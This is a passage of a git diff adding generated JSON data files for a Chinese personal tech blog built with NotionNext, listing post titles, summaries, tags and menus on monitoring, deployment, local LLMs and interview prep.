Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":3,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","date":{"start_date":"2024-04-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240425-nginx","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","title":"Nginx配置备忘录","status":"Published","publishDate":1714003200000,"publishDay":"2024-4-25","lastEditedDate":"2024-04-24T16:37:04.342Z","lastEditedDay":"2024-4-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","tagItems":[{"name":"运维","color":"gray"},{"name":"工具","color":"pink"}],"password":""},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240405-cpu","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","title":"Java程序CPU异常监控bash脚本","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-05T12:17:00.259Z","lastEditedDay":"2024-4-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","tagItems":[{"name":"运维","color":"gray"},{"name":"linux","color":"orange"},{"name":"脚本","color":"orange"},{"name":"工具","color":"pink"}],"password":""}],"tag":"运维"},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\351\235\242\350\257\225.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\351\235\242\350\257\225.json" new file mode 100644 index 000000000..45d3a27b9 --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\351\235\242\350\257\225.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-7